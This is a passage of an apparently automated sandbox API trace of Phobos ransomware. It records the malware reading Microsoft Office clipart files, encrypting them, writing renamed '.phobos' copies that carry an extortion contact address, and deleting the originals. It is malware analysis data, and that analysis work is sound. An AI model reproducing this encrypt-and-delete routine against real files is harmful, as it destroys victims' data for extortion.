pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0175.931] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x43fe, lpOverlapped=0x0) returned 1 [0176.070] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x4400, dwBufLen=0x4400 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x4400) returned 1 [0176.070] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x4400, lpOverlapped=0x0) returned 1 [0176.072] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1850) returned 1 [0176.072] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0176.072] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0176.072] CryptDestroyKey (hKey=0x1d1850) returned 1 [0176.072] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0176.072] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0176.072] CloseHandle (hObject=0x2c4) returned 1 [0176.072] CloseHandle (hObject=0x2e8) returned 1 [0176.072] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0176.124] SetEvent (hEvent=0x298) returned 1 [0176.124] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0176.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0176.124] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=896) returned 1 [0176.124] CloseHandle (hObject=0x2e8) returned 1 [0176.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0176.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0176.125] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0176.125] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0176.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0176.126] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1710) returned 1 [0176.126] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0176.126] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x380, lpOverlapped=0x0) returned 1 [0176.231] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x390, dwBufLen=0x390 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x390) returned 1 [0176.231] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x390, lpOverlapped=0x0) returned 1 [0176.232] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1590) returned 1 [0176.232] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0176.232] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0176.232] CryptDestroyKey (hKey=0x1d1590) returned 1 [0176.232] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0176.232] CryptDestroyKey (hKey=0x1d1710) returned 1 [0176.232] CloseHandle (hObject=0x2e8) returned 1 [0176.232] CloseHandle (hObject=0x2c4) returned 1 [0176.232] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0176.233] SetEvent (hEvent=0x298) returned 1 [0176.233] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0176.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0176.234] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=752) returned 1 [0176.234] CloseHandle (hObject=0x2c4) returned 1 [0176.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0176.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0176.234] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0176.234] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0176.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0176.235] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d19d0) returned 1 [0176.235] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0176.235] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x2f0, lpOverlapped=0x0) returned 1 [0176.720] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x300, dwBufLen=0x300 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x300) returned 1 [0176.720] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x300, lpOverlapped=0x0) returned 1 [0176.721] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1b50) returned 1 [0176.721] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0176.721] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0176.721] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0176.722] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0176.722] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0176.722] CloseHandle (hObject=0x2c4) returned 1 [0176.722] CloseHandle (hObject=0x2e8) returned 1 [0176.722] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0176.724] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0176.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0176.725] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=13968) returned 1 [0176.725] CloseHandle (hObject=0x2e8) returned 1 [0176.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220 [0176.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0176.725] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0176.725] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0176.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0176.726] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1710) returned 1 [0176.726] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0176.726] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x3690, lpOverlapped=0x0) returned 1 [0176.882] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x36a0, dwBufLen=0x36a0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x36a0) returned 1 [0176.882] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x36a0, lpOverlapped=0x0) returned 1 [0176.891] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1a10) returned 1 [0176.891] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0176.891] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0176.891] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0176.891] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0176.891] CryptDestroyKey (hKey=0x1d1710) returned 1 [0176.891] CloseHandle (hObject=0x2e8) returned 1 [0176.891] CloseHandle (hObject=0x2c4) returned 1 [0176.891] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0176.893] SetEvent (hEvent=0x298) returned 1 [0176.893] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0176.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0176.893] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=42704) returned 1 [0176.893] CloseHandle (hObject=0x2c4) returned 1 [0176.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220 [0176.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0176.894] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0176.894] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0176.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0176.895] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1510) returned 1 [0176.895] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0176.895] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xa6d0, lpOverlapped=0x0) returned 1 [0177.224] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xa6e0, dwBufLen=0xa6e0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xa6e0) returned 1 [0177.224] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xa6e0, lpOverlapped=0x0) returned 1 [0177.225] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1550) returned 1 [0177.225] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.225] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0177.225] CryptDestroyKey (hKey=0x1d1550) returned 1 [0177.225] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0177.225] CryptDestroyKey (hKey=0x1d1510) returned 1 [0177.226] CloseHandle (hObject=0x2c4) returned 1 [0177.226] CloseHandle (hObject=0x2e8) returned 1 [0177.226] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0177.228] SetEvent (hEvent=0x298) returned 1 [0177.228] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0177.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.228] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=4634) returned 1 [0177.228] CloseHandle (hObject=0x2e8) returned 1 [0177.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220 [0177.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.229] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.229] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0177.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0177.229] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1b50) returned 1 [0177.229] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.229] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x121a, lpOverlapped=0x0) returned 1 [0177.306] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1220, dwBufLen=0x1220 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1220) returned 1 [0177.306] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x1220, lpOverlapped=0x0) returned 1 [0177.307] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d18d0) returned 1 [0177.307] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0177.307] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0177.307] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0177.307] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0177.307] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0177.307] CloseHandle (hObject=0x2e8) returned 1 [0177.307] CloseHandle (hObject=0x2c4) returned 1 [0177.307] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0177.309] SetEvent (hEvent=0x298) returned 1 [0177.309] CryptGenRandom (in: 